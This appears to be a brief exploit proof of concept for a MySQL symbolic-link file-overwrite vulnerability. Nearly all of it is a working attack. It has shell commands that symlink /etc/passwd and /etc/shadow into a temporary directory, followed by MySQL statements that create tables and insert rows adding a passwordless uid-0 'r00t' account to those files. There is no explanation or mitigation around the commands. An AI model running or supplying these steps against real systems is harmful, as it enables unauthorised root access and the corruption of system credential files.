MySQL Root Operation Symbolic Link File Overwriting Vulnerability

MySQL Root Operation Symbolic Link File Overwriting Vulnerability

$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$